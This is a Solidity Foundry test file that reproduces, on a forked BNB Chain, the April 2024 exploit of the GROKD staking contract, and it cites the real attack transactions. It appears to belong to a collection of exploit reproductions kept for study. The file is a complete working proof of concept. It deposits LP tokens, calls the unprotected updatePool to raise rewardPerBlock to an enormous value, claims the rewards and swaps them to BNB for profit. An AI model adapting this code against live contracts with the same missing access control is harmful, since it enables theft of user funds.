src/test/2024-04/GROKD_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.20;
3 
4import {Test, console2} from "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// TX 1:https://app.blocksec.com/explorer/tx/bsc/0x383dbb44a91687b2b9bbd8b6779957a198d114f24af662776f384569b84fc549
8// TX 2: https://app.blocksec.com/explorer/tx/bsc/0x8293946b5c88c4a21250ca6dc93c6d1a695fb5d067bb2d4aed0a11bd5af1fb32
9// GUY : https://x.com/hipalex921/status/1778482890705416323?t=KvvG83s7SXr9I55aftOc6w&s=05
10// Exploit Address:https://bscscan.com/address/0x31d3231cda62c0b7989b488ca747245676a32d81
11 
12// Profit : ~ 150 bnb
13// REASON : lack of access control;
14 
15interface IDeposite {
16    function deposit(address to, uint256 amount) external;
17    function pending(
18        address
19    ) external view returns (uint256 bnbAmount, uint256 erc20Amount, uint256 lpAmount);
20    function poolInfo(
21        uint256
22    ) external view returns (uint256 startBlock, uint256 endBlock, uint256 rewardPerBlock);
23    function updatePool(uint256, PoolInfo calldata) external;
24 
25    struct PoolInfo {
26        uint256 startBlock;
27        uint256 endBlock;
28        uint256 rewardPerBlock;
29    }
30 
31    function withdraw(
32        uint256 amount
33    ) external;
34    function userInfo(
35        address
36    )
37        external
38        view
39        returns (
40            address inviter,
41            uint256 amount,
42            uint256 rewardDebt,
43            uint256 rewardBNBDebt,
44            uint256 rewardLPDebt,
45            uint256 lastRewardBlock,
46            uint256 saveBNBBlaance,
47            uint256 saveGrokDBlaance,
48            uint256 releaseBlock
49        );
50    function depositFromIDO(address to, uint256 amount) external;
51    function reward() external;
52    function update() external;
53}
54 
55contract GROKDTest is Test {
56    address _grokd = 0xa4133feD73Ea3361f2f928f98313b1e1e5049612;
57    address _pair = 0x8AF65d9114DfcCd050e7352D77eeC98f40c42CFD;
58    address _wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
59    address _cake_lp = 0x8AF65d9114DfcCd050e7352D77eeC98f40c42CFD;
60    address _route = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
61    address _deposite = 0x31d3231cDa62C0b7989b488cA747245676a32D81;
62 
63    IERC20 grokd = IERC20(_grokd);
64    IWETH wBNB = IWETH(payable(_wBNB));
65    IERC20 pair_token = IERC20(_cake_lp);
66    IDeposite depositor = IDeposite(0x31d3231cDa62C0b7989b488cA747245676a32D81);
67    IUniswapV2Pair pair = IUniswapV2Pair(_cake_lp);
68    IUniswapV2Router route = IUniswapV2Router(payable(_route));
69 
70    function setUp() public {
71        vm.createSelectFork("bsc", 37_622_476);
72    }
73 
74    function testExploit() external {
75        deal(address(this), 5 ether);
76        uint256 _beforeB = address(this).balance;
77        approveAll();
78        getLpToken(5 ether);
79        {
80            (uint256 startBlock, uint256 endBlock, uint256 rewardPerBlock) = depositor.poolInfo(0);
81            console2.log("get startBlock is ", startBlock);
82            console2.log("get endBlock is ", endBlock);
83            console2.log("get rewardPerBlock is ", rewardPerBlock);
84            (uint256 bnbAmount, uint256 erc20Amount, uint256 lpAmount) = depositor.pending(address(this));
85            console2.log("current bnbAmount reward is ", bnbAmount);
86            console2.log("current profit erc20Amount reward is ", erc20Amount);
87            console2.log("current lpAmount reward is ", lpAmount);
88 
89            //set the pool params,could get a very high reward per block.
90            IDeposite.PoolInfo memory _poolInfo = IDeposite.PoolInfo({
91                startBlock: 0,
92                endBlock: block.number + 100_000_000,
93                rewardPerBlock: 48_000_000 ether
94            });
95            //deposit token to contract.
96            uint256 depositeAmount = pair_token.balanceOf(address(this));
97            console2.log("deposit lp amount is ", depositeAmount);
98            console2.log("total token in pool is ", grokd.balanceOf(_deposite));
99            depositor.depositFromIDO(address(this), depositeAmount);
100            vm.roll(block.number + 1);
101            //update pool
102            depositor.updatePool(0, _poolInfo);
103            (uint256 startBlock2, uint256 endBlock2, uint256 rewardPerBlock2) = depositor.poolInfo(0);
104            console2.log("after set pooldate startBlock is ", startBlock2);
105            console2.log("after set pooldate endBlock is ", endBlock2);
106            console2.log("after set pooldate rewardPerBlock is ", rewardPerBlock2);
107            /*(uint256 startBlock2, uint256 endBlock2, uint256 rewardPerBlock2) = depositor.poolInfo(0);
108         console2.log(" startBlock2 is ",startBlock2);
109        console2.log("get endBlock2 is ",endBlock2);
110        console2.log("get rewardPerBlock2 is ",rewardPerBlock2);*/
111            //update reward
112            vm.roll(block.number + 1);
113            depositor.update();
114 
115            (uint256 bnbAmount2, uint256 erc20Amount2, uint256 lpAmount2) = depositor.pending(address(this));
116            console2.log("affter one block get bnbAmount2 is ", bnbAmount2);
117            console2.log("affter one block get grokd Amount2 is ", erc20Amount2);
118            console2.log("affter one block get lpAmount2 is ", lpAmount2);
119            depositor.reward();
120            swapToken2Bnb(grokd.balanceOf(address(this)));
121        }
122        uint256 _afterB = address(this).balance;
123        uint256 _profit = _afterB - _beforeB;
124        console2.log("total profit bnb is ", _profit);
125    }
126    //get lp token and deposit it.
127 
128    function getLpToken(
129        uint256 _amount
130    ) internal {
131        (bool success,) = _wBNB.call{value: _amount}("");
132        require(success, "fuck!");
133        address[] memory paths = new address[](2);
134        paths[0] = _wBNB;
135        paths[1] = _grokd;
136        route.swapExactTokensForTokensSupportingFeeOnTransferTokens(
137            2.5 ether, 0, paths, address(this), type(uint256).max
138        );
139        (uint112 reserve0, uint112 reserve1,) = pair.getReserves();
140        uint256 balance0 = grokd.balanceOf(address(pair));
141        uint256 balance1 = grokd.balanceOf(address(pair));
142        route.addLiquidity(
143            _grokd,
144            _wBNB,
145            grokd.balanceOf(address(this)),
146            wBNB.balanceOf(address(this)),
147            100_000 ether,
148            1 ether,
149            address(this),
150            type(uint256).max
151        );
152    }
153 
154    function swapToken2Bnb(
155        uint256 amount
156    ) internal {
157        address[] memory paths = new address[](2);
158        paths[0] = _grokd;
159        paths[1] = _wBNB;
160        route.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, paths, address(this), type(uint256).max);
161        wBNB.withdraw(wBNB.balanceOf(address(this)));
162    }
163 
164    function approveAll() internal {
165        grokd.approve(_route, type(uint256).max);
166        wBNB.approve(_route, type(uint256).max);
167        pair_token.approve(_deposite, type(uint256).max);
168    }
169 
170    receive() external payable {}
171}